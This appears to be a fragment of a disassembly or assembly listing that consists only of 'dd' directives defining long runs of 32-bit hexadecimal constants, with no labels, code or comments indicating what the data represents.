		dd 0F20188C4h, 6A4978A3h, 93114922h, 3D800F21h,	0B08E726Ah
		dd 9F0778EAh, 4E3B388Dh, 691AB7D0h, 1323C58h, 7CBCD4Eh
		dd 6F92EB0Ch, 0B2E20E89h, 0C018696Ch, 50603EEh,	0BC660FEh
		dd 800CB151h, 99A9C939h, 0C406A4C1h, 4BC3E9E4h,	0C95A5D30h
		dd 5FF2391Ch, 0D21F330h, 2BDDB9h, 0C981367Fh, 2AB471DEh
		dd 1F2EAA80h, 40414CC2h, 9E5EC8E1h, 425E91Ch, 98C8C44Fh
		dd 931E52D6h, 2811FF8Bh, 0D9CCEEA8h, 560DE69Eh,	5EC11968h
		dd 0A697470h, 294D3348h, 5808098Fh, 0E927B7D2h,	0F670609Ch
		dd 25804CD2h, 9DA662Ch,	0C450E101h, 8103079Ah, 0B64A84C2h
		dd 0A0D7F23Dh, 8CE95AA8h, 96DCA45h, 5002AC0Ch, 0BB806BD5h
		dd 770D0994h, 2CD83179h, 0A396EA00h, 0D62161A5h, 0EB965Ah
		dd 43850C72h, 800E0C1h,	4AABE56h, 54E37B6h, 3361E681h
		dd 302587EEh, 6E68DE2Ch, 8BC1314Ah, 860659C2h, 5DDFCB02h
		dd 4043178Dh, 303DB8D9h, 2B787ECAh, 70FB8409h, 5E19ED85h
		dd 0BF185358h, 30DEC8C0h, 6445D329h, 1A60104Eh,	4C453642h
		dd 1E016960h, 0BB03DE58h, 0B74EAE83h, 679595E9h, 0D66ABE8Ah
		dd 7E5562D4h, 5B173A59h, 0CF13CD04h, 1D7A8B09h,	48665720h
		dd 848B3555h, 0F85A5C2h, 0D2D2535Ah, 0EDE87956h, 42FED5F7h
		dd 6812059Ah, 0C1F75B9Fh, 26EF5310h, 33129901h,	631B50Dh
		dd 875C0D96h, 447622F7h, 1D9F915Eh, 523FB709h, 0E908802Bh
		dd 658DD3A6h, 7F9488AEh, 0E3DD734Bh, 5B680608h,	8DC135F6h
		dd 8F0A3239h, 82F2768Fh, 3F5CA3D1h, 0B8B7C8A4h,	5612A400h
		dd 2E6F055Fh, 16475FBh,	3BAEBEF1h, 3E58C701h, 0F2F74762h
		dd 12692783h, 50DAA33Bh, 0B72E78h, 16245122h, 5DBE3C09h
		dd 0E91F0304h, 17CBFCAAh, 9F8DEEB2h, 0C438DD20h, 84E4B61Ah
		dd 16D453B5h, 0B42E242Ah, 814285D3h, 0FD88AA7Dh, 0E5686DE1h
		dd 0B0313F76h, 0A9830EB5h, 322351C6h, 0F6B859C3h, 0BD01A67Dh
		dd 3C460574h, 102B62A9h, 615E07F7h, 35325Ah, 0D35FFB29h
		dd 0B0DB9493h, 809ECD54h, 4404B117h, 5B94EE54h,	4E08FF93h
		dd 61F88D1h, 34DC80AAh,	1D90FB5Bh, 0D3CE3131h, 0C35F87EEh
		dd 0A1CBD0Eh, 0D8090AB3h, 82DF8266h, 87C20E4Dh,	0C94252DAh
		dd 1247FC4h, 5A131C54h,	1A424338h, 2ABE07E9h, 0FE39EA40h
		dd 0F130C175h, 88F50630h, 7A1FB8CBh, 72ADB2A6h,	0EAEF00F6h
		dd 5EF301B3h, 0C8F7EB29h, 352E107Fh, 0D6090E69h, 22423276h
		dd 733EEF83h, 2255928Ch, 0DA645D6Dh, 4692E917h,	5908BBC9h
		dd 8DF85A21h, 850B5055h, 0A0DDDBBAh, 91C32A1Fh,	95146831h
		dd 83B4AFA8h, 8B030687h, 196E7CC1h, 0A4CFFF53h,	13EC74DAh
		dd 314AC4h, 5C67BF57h, 0F74717F8h, 9EB7B4DFh, 0B807A30Fh
		dd 3BF8BB01h, 0A525582Fh, 0F7564203h, 0F14C5Ch,	6D434B94h
		dd 9E5221E9h, 1B246FB1h, 0F27B97F8h, 99C46029h,	3412310Bh
		dd 76E5AC33h, 0B3491803h, 47620C08h, 0DE820h, 0D0D51606h
		dd 26E9FE01h, 0EDE77C63h, 28A7D323h, 82C0D506h,	1CCB0408h
		dd 64FD2D00h, 80C42B47h, 9001136h, 53E2D1C2h, 49C8BB4Fh
		dd 35E909C3h, 7B843684h, 1AD4C355h, 26ECE185h, 77F10468h
		dd 3CB108BEh, 710889CAh, 0DAF949A5h, 52B040C9h,	5A798612h
		dd 1A635D27h, 0AEF40EAh, 83F383DCh, 9D8B584Fh, 0A06C2D05h
		dd 6A28154h, 0F118D535h, 422D6071h, 0A66B484Ch,	0D0E61DCh
		dd 2FA6EB80h, 52E2D337h, 0A85DF932h, 495F647Fh,	0F89ECCBFh
		dd 404029F7h, 7300FDA6h
		dd 0F3813DCCh, 5C306FA1h, 0BA8EDD47h, 0E4011787h, 870C0F6Ch
		dd 5C956BB7h, 0C8AE5D7h, 0F9805644h, 5C596A1Dh,	29024B76h
		dd 4A203B06h, 0C9F8A78h, 0BA91A07h, 89FB7228h, 0E6592C8Bh
		dd 78C05B16h, 7D6078F5h, 0E90EC440h, 0D59BB164h, 812B35D0h
		dd 5AFF32Ah, 0FD20727Ch, 0F25207CFh, 0FDDD89EAh, 8323D88Ch
		dd 0D0036F79h, 5DE8315Ah, 73C0B5F7h, 0A046A964h, 0C54802C0h
		dd 9083E916h, 7EEFBE95h, 0EEC6D463h, 160D4FEBh,	4908F1FBh
		dd 0C9B43D0Dh, 0A60C6702h, 4FC242B9h, 0D2895F02h, 6D525E2Ah
		dd 0C13BA8EAh, 30B67B01h, 59C80191h, 0E9B1026Eh, 3849F56Eh
		dd 54747929h, 7226ADF3h, 7908CE43h, 89580A66h, 9A050183h
		dd 21504668h, 94B0300Ah, 7A283B1Eh, 304B86C9h, 18C756h
		dd 0D407301h, 41D96152h, 0DF3598A0h, 0A563547Fh, 0C922E26Ch
		dd 88DA291Bh, 581E089Bh, 3FE9F043h, 9FA677F2h, 2872D58Eh
		dd 0C8FAEFBCh, 0A50A7528h, 257FB17Dh, 1DFD0126h, 0E9170820h
		dd 4E450AE6h, 554F1BB3h, 3BDC55Eh, 311E8CF9h, 658A56C6h
		dd 0ECCE817Ah, 0A0101D4h, 59100A62h, 0EF80006Eh, 5BFD30B1h
		dd 0FEF0ED28h, 97E92FCFh, 0D2E6008Bh, 20EF0126h, 6106FE5Ah
		dd 7868E9h, 2C3443BEh, 22940B49h, 58298D8h, 273945EAh
		dd 5E892C1Ah, 71536828h, 5858A8CAh, 15F3708h, 0C634C52Ch
		dd 80947030h, 8BA0E739h, 228DAF7h, 171E505h, 564D0D68h
		dd 134A5A25h, 4E1C19CCh, 3216CD6Ah, 0E4B47853h,	3B87E9C4h
		dd 3625809h, 619638D0h,	100BD2F7h, 2F62C6Bh, 2A866Eh, 2E6A38B9h
		dd 19AD4E4Ch, 29923B92h, 5A7A7E22h, 66BE0173h, 0D038B353h
		dd 30FEB450h, 581CE37Ah, 0F6A6CBFEh, 0D8F0BE16h, 204700C7h
		dd 43371E27h, 24EF5F31h, 513DAF9h, 7F08666Dh, 0DEF7054Bh
		dd 6818C046h, 2F7E785Bh, 0C007115Ah, 4D73FA29h,	68810EC3h
		dd 548E5A48h, 140359D7h, 8C5A0481h, 8FF28F10h, 8357CF5Dh
		dd 0E13E26BFh, 0BE217C29h, 1FD5FF5h, 1A029A30h,	5ED5A7E9h
		dd 68147AF0h, 0DEB43D32h, 0D248B500h, 5399E921h, 0CA50C931h
		dd 0F6E1772h, 0C408164Dh, 1C830926h, 0C0BBE1E1h, 283F6513h
		dd 24CD8081h, 0DBF70411h, 0A3E91B4Bh, 0CACA32B8h, 0E881F6E3h
		dd 8F97D32Ch, 1EF01FE6h, 0BE3F051Bh, 5310D120h,	3ED91625h
		dd 76497463h, 323C597Ah, 70F18100h, 290B6C93h, 6EFCA097h
		dd 80081C0Ah, 8804325Dh, 39CBE97Eh, 0AAC936ACh,	0F9575961h
		dd 3A0B6F19h, 40455051h, 0DA723116h, 0D87BD374h, 3FE19E98h
		dd 5251D90Eh, 0E1DA7AE1h, 0F152D50Eh, 58837E05h, 0E694B2E9h
		dd 0CA2909h, 0DE1E2AB5h, 800CCF51h, 801B6A64h, 5F6E025Ah
		dd 0F2523A50h, 0F628689Eh, 5512CE91h, 31392F02h, 278FC13h
		dd 58E03B9h, 0C15AFAC0h, 1301ED5Ah, 0B0C475Ch, 0AD4CE0A7h
		dd 0F3CBD398h, 203E52D2h, 2C0BB769h, 84C288BCh,	95204C0h
		dd 0C55D30h, 6254E909h,	0E6BD0760h, 61362521h, 43BBB30h
		dd 89B40CB5h, 9788C3F5h, 6968850Dh, 223F3426h, 0CE6B952h
		dd 3359CB14h, 63136F7h,	0E95C0A0Dh, 0A7CC2D5Dh,	2F7DFFC0h
		dd 526610C3h, 3DD2C150h, 3C05F02h, 40080591h, 20D60168h
		dd 615A5A08h, 16F3D6Ch,	643F015Dh, 926BFD3Fh, 0ABF9394Bh
		dd 9F58FA9h, 0E1AC7855h, 0EFE5BF4h, 80D9F6C1h, 0E960778Eh
		dd 59CC88FCh, 0EEEEDCF6h, 0DB8E315Eh, 9BC38320h, 542C09E9h
		dd 0B5F778EBh, 0ECC78EA5h, 25C0946Bh, 0D668206Eh, 0A59373Eh
		dd 0B850F529h, 0B6612F08h, 0E9E8D05Eh, 71E3FD26h, 0D9883161h
		dd 0E5715BD9h, 0CB5FD641h, 0BB646802h, 20B9079Ah, 9F429C6Dh
		dd 0AC7F486Eh, 0A7B50751h, 0C2D3C580h, 3B4CD1D8h, 5123AEA1h
		dd 235854F9h, 5821D397h, 847DD8CDh, 0C121CA01h,	2AEB8331h
		dd 7772B000h, 4B608Ah, 6CDCBF57h, 0FB291401h, 919C35B0h
		dd 4F2890Bh, 2ABCDE50h,	81A0D29Fh, 70DF09DBh, 3E2FEFDDh
		dd 0B5786379h, 0E71292E2h, 1257F605h, 0F3291851h, 23050B2Ah
		dd 9540CDC2h, 7813B88Fh, 6848957h, 0C31D7EE8h, 2A34CF7Ch
		dd 0EB0ACB2Fh, 83590908h, 0FF04FB89h, 2A13C96Dh, 0F2810460h
		dd 944B3010h, 9546C2A6h, 0BF076928h, 0B83B4227h, 5B0F667Bh
		dd 7C0145BBh, 0E58850B5h, 0FECBC25Ch, 0E926F616h, 0AD9495E1h
		dd 493005AEh, 891274CBh, 2356B080h, 83712831h, 1F7F298h
		dd 690144EEh, 6C16E768h, 61508DCBh, 0E917A17Ch,	6831C05Ah
		dd 12977973h, 6DC384C0h, 0C03D4DE3h, 8390392h, 252C432Fh
		dd 0BCEF963Bh, 5BDE9844h, 0BDA59CF8h, 416809C0h, 45EF954h
		dd 0B4652AE9h, 431C21D6h, 0C5E81296h, 955F5D04h, 98289CDh
		dd 0A2C5C109h, 856801E2h, 1E55543Ch, 0E7040589h, 51F1B921h
		dd 0E0B00DF9h, 38B45C0Eh, 6E25D9E9h, 0E6A3D2D0h, 755F5412h
		dd 77B591B5h, 61B70030h, 5C20E80h, 0EAAEFA28h, 5D7CC1B3h
		dd 6058022Fh, 2F1AB22Eh, 0BE41F448h, 4170C4EEh,	9053A02h
		dd 50302215h, 81FF4D88h, 47192024h, 0FE724BF5h,	0B0357C22h
		dd 8D6817ECh, 0D4CF6015h, 41078869h, 2891B951h,	0F7721377h
		dd 0BACFC1D9h, 0EC143DF4h, 71350FC1h, 1EF7366Dh, 0E720A7CAh
		dd 62F631D2h, 0FE5E527Ch, 1DCBE790h, 2CC63B44h,	1817F300h
		dd 0ACE92BBDh, 0DE8AC858h, 4E809E17h, 3D607FB9h, 32143497h
		dd 5ACBC115h, 0D06E93F9h, 2859E9A1h, 896F4CD1h,	60F25022h
		dd 74119043h, 1A900930h, 0C46EFA09h, 62F1621Ch,	75A0729Fh
		dd 10D602EFh, 5FFD29BBh, 69028AF4h, 55766070h, 18E96110h
		dd 538B26B2h, 7B3CEBD1h, 836D814Fh, 0E2D0F6C8h,	79DBD831h
		dd 40C4EE0Fh, 2005BEC6h, 0F730CF07h, 41907391h,	0CED802D5h
		dd 80523964h, 81951AEh,	0A24F01C8h, 761B883Dh, 0AA8E27ACh
		dd 0E85963F9h, 41FAF7E1h, 473AE1A0h, 267A220h, 0ACBF30E0h
		dd 0D7438E9h, 8318BC25h, 492B82AAh, 7870FA20h, 0E577D31h
		dd 0C788530Dh, 0B55B3A44h, 0C168F626h, 1B1D842Dh, 81415045h
		dd 293D3B68h, 0D9C96061h, 8538BB01h, 51FB0171h,	548B5AF9h
		dd 6ED61642h, 0CC64539Eh, 683D6C10h, 3DA8188Bh,	498D7286h
		dd 4005894Ch, 24B031F4h, 0C4FF394Dh, 941737D2h,	5152F0B0h
		dd 889F27FAh, 853921B6h, 400242D1h, 4C92C480h, 0E92A139Ah
		dd 5A1DC249h, 32A6868Eh, 84BED250h, 0E70B5C13h,	0DCE6E2D6h
		dd 0C1F65B74h, 60DA0827h, 6E88BF23h, 83D9DAD1h,	7724DCE5h
		dd 56BF9BEh, 7A8FB28h, 752820C6h, 0D44B11FCh, 0F71F11E7h
		dd 710358DDh, 4725E805h, 7D87689h, 7B5AB111h, 0C7092B84h
		dd 0E84B243Ah, 27BF00B9h, 21138B74h, 0F95F58F9h, 0D76EFB16h
		dd 9F499B54h, 26926168h, 71410224h, 414D5FD3h, 614819BCh
		dd 0C4D9929h, 0EBAFB216h, 0F53B50Bh, 58A652Ah, 64B202E9h
		dd 6627036Bh, 51113CD3h, 0F21DB1EEh, 17946888h,	625AD701h
		dd 80DC8BB6h, 5C4BAE40h, 0EF0FC17Ah, 0FB32A428h, 94AC63Eh
		dd 6A0162ABh, 0E809099Ch, 2503415Dh, 0AE441B29h, 82BBA130h
		dd 2428AEBAh, 82D21A72h, 6DEE31D0h, 5A519A40h, 0C0886027h
		dd 4ABD684Ch, 98DB674h,	0D83EFE20h, 957DAC18h, 0C268A49Ah
		dd 70CADD09h, 0A312CF41h, 0E5880D47h, 0A7F2EA25h, 88D4588Fh
		dd 0E0596613h, 3DB8E9B3h, 2119295h, 7CAF0FA9h, 564345F6h
		dd 45DE00ABh, 1B53F24h,	0EA02B8BAh, 1746501Fh, 204BD429h
		dd 0E95F0908h, 8C7CE258h, 669D1C87h, 3A0A99h, 0C740B164h
		dd 0AAA04E08h
		dd 0A59A26F6h, 0E11AB397h, 2F8AC034h, 1ED160CFh, 0F4CCD72Dh
		dd 0CE14C17Dh, 2CA21C4h, 8A6859C8h, 94B4C26h, 10E0733h
		dd 54614A09h, 0D9403B8Ah, 0B4B35302h, 80CB0EFEh, 1412C8F3h
		dd 0E5202BCDh, 0D37828ECh, 0ED2ED42Eh, 0D50B62A4h, 4D6130CCh
		dd 0C11C8F5h, 79402A0Bh, 0A9133CF0h, 0B23D3453h, 2E5902CAh
		dd 84B80786h, 44AB3105h, 0A0A4E9E6h, 359866B5h,	0B05279F0h
		dd 130E4C9Dh, 3372525Eh, 9FC9061Ch, 54A66813h, 0E8B64061h
		dd 0C3795D6Fh, 7FA67942h, 735E14E1h, 485F58FAh,	609C007Ch
		dd 0E8D12F5Ch, 3B670035h, 0B0250137h, 11584675h, 5A4109FDh
		dd 0E4238443h, 0BBED2F0h, 2D2B4B08h, 6CE5BA0h, 1A13CF6Fh
		dd 0BAC547E9h, 0B01ACA5Eh, 6E99DCD3h, 0C0152112h, 0C9282A2Dh
		dd 73AF41F6h, 9AFA2583h, 6968FE72h, 75F19C80h, 0BE015179h
		dd 0AE868A11h, 687804E9h, 56805F2Ch, 0A9305A27h, 0BE79E81Ch
		dd 0B891C95Fh, 4FD8682Ah, 9967CD26h, 595EF003h,	41585A50h
		dd 87C299A6h, 29A2D15Bh, 2D2E059h, 9594BEEDh, 682493C4h
		dd 0DA7069E1h, 0C08A4B69h, 1D32460Dh, 0E0B1E923h, 0E2372AF3h
		dd 56218AC2h, 91E9D8C7h, 4CC215Eh, 0CBD969CBh, 0E8083E71h
		dd 39B9013Bh, 2911B775h, 0F898040Ch, 0BC95D50Fh, 60C72900h
		dd 7638840Ah, 82A4B801h, 0E1D36008h, 0B1518018h, 3DC0793Ch
		dd 0E889707h, 7760E729h, 0FF680150h, 0E96BCC42h, 222682Dh
		dd 876C885Bh, 9C736501h, 42AE52E9h, 45F2686Fh, 0A6B6B06Ch
		dd 55A685A5h, 9CC97C2h,	0DD138C54h, 0B42CFCA3h,	0BFE08E5h
		dd 36028224h, 0E06BD230h, 1D586C2Fh, 0F2E965FCh, 7D565999h
		dd 0A8B864h, 6A36C9C1h,	0BABE4021h, 6F3BC603h, 81C6801h
		dd 14091C34h, 8A237158h, 832602BBh, 44AA27B5h, 7A36A0A9h
		dd 60C48B78h, 0BCEF2331h, 0CF5CE2EDh, 77825EB5h, 0BDE93802h
		dd 8CCF799Ah, 1DD54361h, 0B80E0249h, 10CEB9Eh, 0A8428574h
		dd 89D5081Ch, 0ABD43E7Ch, 0C02EAF60h, 50594C5Bh, 1972BBB0h
		dd 95F1227h, 13C5EADh, 17D1C981h, 40C1FB49h, 0E8D75405h
		dd 4C1338CCh, 0E4ACD2A0h, 3D6AB193h, 0A122B6h, 7717B805h
		dd 2DF02912h, 18E907A0h, 0CBB74F6Eh, 51D56221h,	10C74A24h
		dd 0BD660BBBh, 5BC958A3h, 81D401EFh, 871AAEF7h,	3DEECF0Ah
		dd 0F36E3F9h, 8C10EF12h, 129F58D7h, 7E136FF1h, 9CE12FE9h
		dd 9878013Fh, 0D4771078h, 0DC040DEEh, 5C7EE922h, 0C9659ECh
		dd 0C5A3C2F2h, 0BC64700Ch, 28280C36h, 5CE48D37h, 102E64EDh
		dd 25E42C58h, 82F06EC6h, 312AB992h, 5D4E92E8h, 0E697631Fh
		dd 5F19AF5Ah, 459D3A1Eh, 0ADC52783h, 0B94EE906h, 664295DBh
		dd 0E66FF1DCh, 4C7AD1Eh, 347D11EDh, 0CAC3864Dh,	1C010883h
		dd 0ABC6925h, 642C51E9h, 0A1685804h, 0EC1E9853h, 60AFBF2Dh
		dd 136B72F4h, 84013319h, 0A08138Fh, 26014D7h, 23423CB3h
		dd 0DC9E5CE0h, 0E9E20909h, 29784193h, 50F70F6Fh, 0C56DA49h
		dd 0ED80CD83h, 2D067EC2h, 0F46CE828h, 5119D8F2h, 0FF2263B5h
		dd 0C200E2CEh, 25E17EC6h, 326287F1h, 73005E16h,	6ACA48F2h
		dd 89CF0854h, 5F28F8BCh, 0DF9B625Ah, 80B56E78h,	125F4CBBh
		dd 50B93119h, 68F9290Bh, 0CF01A10Ch, 2AD32D7Bh,	5EE9E4CCh
		dd 0B19105Fh, 6725789h,	0DCCA8FFEh, 2B62615Ch, 0B76801ACh
		dd 0CC336F76h, 26D881Ch, 841ABF29h, 93686642h, 88395352h
		dd 0F0DE26EBh, 125AF30Ah, 24B9608h, 9C1C7BBDh, 0F3EF5F41h
		dd 0E6E99C7h, 0B54ED890h, 0D8385189h, 0EF29E9A0h, 598B7B91h
		dd 84FE5353h, 0F0DDE956h, 4CEC493Eh, 0BB4900BFh, 4B674F79h
		dd 8E4BF02Fh, 62BF3413h, 0C40EB40Bh, 0E4681230h, 82593723h
		dd 2DFE3E75h, 0D1E9F360h, 24A49F35h, 0DA98A141h, 290FA2F1h
		dd 6030A9CDh, 0B0C188BCh, 493F27A1h, 4B26FFD1h,	0D885ED21h
		dd 54D5B3E9h, 9C09585Eh, 5A17F633h, 8C3A1D39h, 2E575DA5h
		dd 9A6EB0E8h, 0C3093B08h, 8B8931A6h, 0C84C884h,	0BD20D4ECh
		dd 67FAA4F9h, 0AC41E94Ah, 0DA163ECCh, 86EABA2Ch, 4A92F99Eh
		dd 7E012B53h, 262E5A76h, 95B66DECh, 19958318h, 5E565C1Fh
		dd 99A40E9Ch, 0C4605096h, 792071EBh, 0C3012813h, 0E90880F9h
		dd 12CD9253h, 376FD168h, 149C825Eh, 0AF2441D9h,	31D733E3h
		dd 0E016F29Dh, 16103FDEh, 0F37410EBh, 41028340h, 0B9306A33h
		dd 0BF65A2E9h, 584D99Ah, 905E09CEh, 91D6D3ADh, 3CF94A74h
		dd 7EAF613Ch, 4C60781Ah, 6B1F41F3h, 712C147h, 0A1C4E102h
		dd 0FBCE618Ch, 0B6D39228h, 85055E83h, 6EF2627Ah, 60D6A7A5h
		dd 0EAE953AAh, 25C9D44h, 0A058D2A5h, 0D78B6C0h,	0DD0147D1h
		dd 0E908011Ch, 43FEE68Fh, 486D7949h, 8C29251h, 0B509061Eh
		dd 0E0720B89h, 0D4BF1EDDh, 6802CC44h, 292E31F1h, 52AA1BE1h
		dd 0FFE6B9DFh, 0B959CA29h, 0AB0F6604h, 0A9F575A5h, 0D2B3243Fh
		dd 0D2A1C993h, 2E23F780h, 0CD8FE51Dh, 18843CC5h, 0F7F4C1E9h
		dd 5DB60CEFh, 660C6299h, 53502205h, 0C410C729h,	140C6808h
		dd 51F85813h, 1051E940h, 254B16h, 66BB0CC6h, 0C147DFF7h
		dd 0C97F4A12h, 73486C9Dh, 2FF06F4Fh, 0E95A4053h, 0D680524Fh
		dd 39809BB3h, 0EB9602F3h, 78198C0h, 56E4AB60h, 30D8368h
		dd 4E5E35F5h, 61F9D6F7h, 4EEA26C6h, 0EB882EE3h,	5F2C1062h
		dd 7B5CF939h, 6CF20021h, 3A536D7Bh, 82927DCBh, 3B8302B9h
		dd 572C61D0h, 0BB001FE3h, 5AAC50EEh, 9AD5FE4Bh,	0E001A093h
		dd 224BB2A8h, 4ED410F2h, 0B55A7458h, 0BEF83039h, 0C191C030h
		dd 0F6D88057h, 59C8891Ch, 0D958C2CAh, 70168C01h, 0FF704F5Dh
		dd 8312B707h, 0D02C4B5Eh, 6E47F701h, 0B8207CE0h, 0C3051D4Eh
		dd 0F6E03A79h, 0C76B7E1Ch, 0E9F73106h, 1F756445h, 5314B2C2h
		dd 0EAB0C27Bh, 7591088Bh, 0D8F701F8h, 0D4350480h, 89C0C148h
		dd 2225E9E6h, 92EDFB40h, 93B5A954h, 1176BB3h, 0DC3112EEh
		dd 26F30CA1h, 94CE259Fh, 97E697BCh, 8AA72848h, 3183BD23h
		dd 0CAF287D3h, 0B7F8D82Ah, 49CFBD00h, 0AFF809ADh, 0D5F719C5h
		dd 76C03A84h, 0FD52342Ah, 446BADF5h, 0B2396683h, 35FE2802h
		dd 16A7EE20h, 0A32D5F68h, 17841095h, 3AC2B450h,	9D700281h
		dd 2427C0C7h, 0A4973CE5h, 8659F3E0h, 4BE37B88h,	64A6099Dh
		dd 8FB4C5E1h, 0E6575A75h, 0C4EDDE99h, 14AE79h, 0D18EC35h
		dd 7FCEF57Ah, 6151E40Bh, 283D68E1h, 89485123h, 8E4ADC4Dh
		dd 67B54BB2h, 63E4664h,	7BE928B0h, 0C10064F4h, 0F68105EEh
		dd 39047AFh, 5EF229F7h,	0FD4FD021h, 44584D49h, 2D330202h
		dd 5D5B547Ah, 66929BD9h, 383199FDh, 0DC5551F9h,	0AD81AC57h
		dd 0F42D982Fh, 70CC7D17h, 0CD2E92A1h, 0FDFF2030h, 1D360112h
		dd 0B98E8901h, 2480DCEEh, 4F0902CEh, 28D0F529h,	55E0108h
		dd 2B715068h, 9CC88A70h, 0E1694ED5h, 878B70E7h,	88B2590Ch
		dd 0C069495Bh, 41C2E9FBh, 72442E26h, 6913BB7Dh,	4A4B2782h
		dd 88858F64h, 7C680A90h, 4403945Ah, 95DD8859h, 72BA6392h
		dd 4CC85B4Bh, 0B1949F52h, 0F125DA9Bh, 20581315h, 0C8BF0FB6h
		dd 0E9F454FAh, 235FF85Fh, 0C9F1C9BFh, 4BE6FA6Ch, 6C11C7BCh
		dd 5716D5E0h, 0B0A067F3h, 205141F6h, 0EAE688ABh, 2AE5694Eh
		dd 0BDA767D5h, 0F00BB9E9h, 0FDF3646Ch, 9366C8Ah, 8F03E8C1h
		dd 0EE2F444Bh, 309D8D94h, 5263806Ah, 4E0248BAh,	0D60916EAh
		dd 0C25Ah, 217EFDF0h, 65E91AF0h, 0AADC42F9h, 29935864h
		dd 0A9E9B750h, 0B7B00E3h
		dd 0BF01D268h, 3DD95B9Bh, 63CA2A21h, 18CE8A4Ah,	0EB1D29B5h
		dd 0BC6512F2h, 169446h,	68505508h, 0ED4C36ACh, 5EC602Ch
		dd 2F35882Dh, 0AA8CEEEBh, 530F9B32h, 9201374Fh,	25A10C16h
		dd 429F9F3Ah, 0D3532C52h, 0AA1A0902h, 0F00776Eh, 79631CE8h
		dd 78E94609h, 6E8E90BAh, 300CC9C9h, 0A5638B90h,	1EAD482h
		dd 614549EFh, 9A803E40h, 53D0548h, 0E916DF33h, 0FE0BD434h
		dd 1509CC75h, 0D31F242Fh, 0BC6F80E3h, 4B3D0C1Ch, 4E06C95Eh
		dd 0DF01657Eh, 4108831Ch, 7547141Ch, 3DBC02D5h,	74DF0987h
		dd 0AC7C956Ah, 0A0F2B7E6h, 81FA5C25h, 3B4F79B9h, 0EB4A70D1h
		dd 7807A1Ch, 5BD989C6h,	0BFF749AEh, 3401D616h, 0C165BA05h
		dd 0CE428104h, 7E15C0Ah, 29C83110h, 5F30F3FAh, 62B83E55h
		dd 64E73D79h, 848BCD2Dh, 0C050D705h, 4A762300h,	62FA80A8h
		dd 0FC77B430h, 0A5901D9h, 0F3A2E948h, 889FA4ACh, 530DA499h
		dd 489F5C50h, 62C3D620h, 5B40560Bh, 4697CDCCh, 0C47791A4h
		dd 9D38056h, 12158D1Ch,	58D746E9h, 1AFE578Ch, 0CCB45DEBh
		dd 5E1E05E3h, 0E82967D4h, 5F0840F2h, 0B7420AB6h, 0B0B766CCh
		dd 1E51FE05h, 4E1817Ah,	8131160Bh, 2AB58540h, 0E982A58Ah
		dd 0A0D5C7AAh, 0AB38C9F9h, 9C8DF606h, 5A660EA1h, 50145353h
		dd 0E8CB637Eh, 68A77D56h, 8006ADCBh, 194A0A68h,	0C3F53567h
		dd 1BB96F94h, 52B149E4h, 3DC3D5DCh, 4150B213h, 293A3317h
		dd 2CD5EDD0h, 0EB211B0Eh, 0C805D2B5h, 1E86BBFDh, 8801B446h
		dd 6603FE9Fh, 0A54FE4BEh, 67109107h, 0E9F30190h, 74BF4EC0h
		dd 0A11FACA6h, 523C80B9h, 47DDA585h, 22DA88A5h,	25F5AD0h
		dd 93243ACh, 0C1E7EF0Eh, 7BD09901h, 0F55B7D26h,	5FF93105h
		dd 564CE202h, 693ED840h, 7E7650AAh, 0BE57C360h,	21C11661h
		dd 7C4BC6D8h, 0B7A65D20h, 14C29D63h, 584A0678h,	0F492A2E2h
		dd 2B4EE9E7h, 0ACCAEAC4h, 0DC1F5D7Dh, 67685A04h, 9632BA10h
		dd 48B52A2h, 0B82FB7F7h, 0C502BB25h, 716ED868h,	7D7825D7h
		dd 34A559E3h, 25EFBCBAh, 7AF061BCh, 0CBFE802h, 4B65C201h
		dd 0D0259B91h, 1521C635h, 0DB08E9FDh, 4F35F24Eh, 480729F0h
		dd 0D7352E88h, 0A5F9036Bh, 0B2974162h, 88590579h, 21D2F325h
		dd 1AF5C88Dh, 0B05D0EF7h, 6011E926h, 685B60FDh,	0D947393h
		dd 5DC7E9C1h, 0F6B6D82Bh, 0EE23629Dh, 0E95213F7h, 5369496Fh
		dd 87B0D13Ch, 7CDD4E4Eh, 0B49A1574h, 46F281BAh,	7F65AAA1h
		dd 90439D09h, 27937DC9h, 0AA4187E5h, 0FBCCE601h, 2F265150h
		dd 0B032D141h, 0F7501A00h, 68535549h, 616DAD1Ch, 46B1E944h
		dd 1209FFC8h, 0E556469h, 3344EE79h, 0EE30AA5Ah,	0C02ED9E9h
		dd 2FAAE22Fh, 40BF5389h, 0B029947h, 0D6E92594h,	0B27EA962h
		dd 1C29263Ch, 5A9BBD80h, 1F72F35h, 67B951D5h, 7F6DDC7Eh
		dd 8206901Ah, 0B2124E76h, 0E0BB42BCh, 1ECDBDEDh, 8C03141Eh
		dd 542608F7h, 0A7305F4Eh, 179ABE56h, 1789206h, 0F805A476h
		dd 35193F3Bh, 1634B068h, 8905D449h, 19C4042Dh, 79D2BD1Fh
		dd 0ABE92189h, 0E54F5696h, 22FBC0Ch, 4073ACBFh,	0F1F84A5Fh
		dd 102260C5h, 0B4982FFAh, 0E25D4024h, 3923E587h, 714D57F2h
		dd 8872A46Bh, 0BE006074h, 0BA2DB608h, 5EF12589h, 7759CA72h
		dd 0F2B707C3h, 4B97F988h, 0EB80BA5Ah, 0D3E38105h, 0E0775C27h
		dd 49152C15h, 51EC15Bh,	0B9BBFCBDh, 71604A02h, 0EBC6E943h
		dd 1B2BD004h, 49362580h, 0F1731478h, 0C97FE401h, 89E9CA01h
		dd 5639E43Ch, 1336F6DAh, 1BA4D25Ch, 0BEA040D3h,	467B750Ah
		dd 0ACBF757Ah, 53C0DDF1h, 12B41BB3h, 67DC281Ch,	0EBE7843Ah
		dd 43D9B561h, 0D926E3Ch, 20137039h, 6F3AA6C1h, 0D016DAB5h
		dd 81018800h, 264E20CFh, 2D563AD4h, 0E180C501h,	0DF1CC1Eh
		dd 28FE06C2h, 0D0B084C8h, 0EE368A4h, 7BC35274h,	31F8CBC0h
		dd 0C49037C9h, 42249802h, 0C9BAE915h, 0FF40C007h, 169DF480h
		dd 6058E628h, 1CB15137h, 95BC6B8h, 4907D1A3h, 0D26D0E50h
		dd 0A0DF4A91h, 0DFC581AAh, 0FA69F258h, 6DB44E1Ah, 67B5286Dh
		dd 0CCDECCFEh, 264EF22Ch, 164EE45Ch, 663B838Bh,	257D8FADh
		dd 8BF76554h, 0BD4A4F19h, 13E5D5Ah, 8596A7DFh, 3480468Fh
		dd 4E603AAEh, 8811615h,	8624DA42h, 2D6E0279h, 0A5C86A5Dh
		dd 7710607Eh, 6C35CAF1h, 8E28477Bh, 2D010B45h, 2136C06Fh
		dd 0F5E459CDh, 0B92ECE7h, 3949E975h, 670B29FAh,	807AE833h
		dd 877822E2h, 82C16818h, 47A602EDh, 0F3417D3Fh,	32B1BBFBh
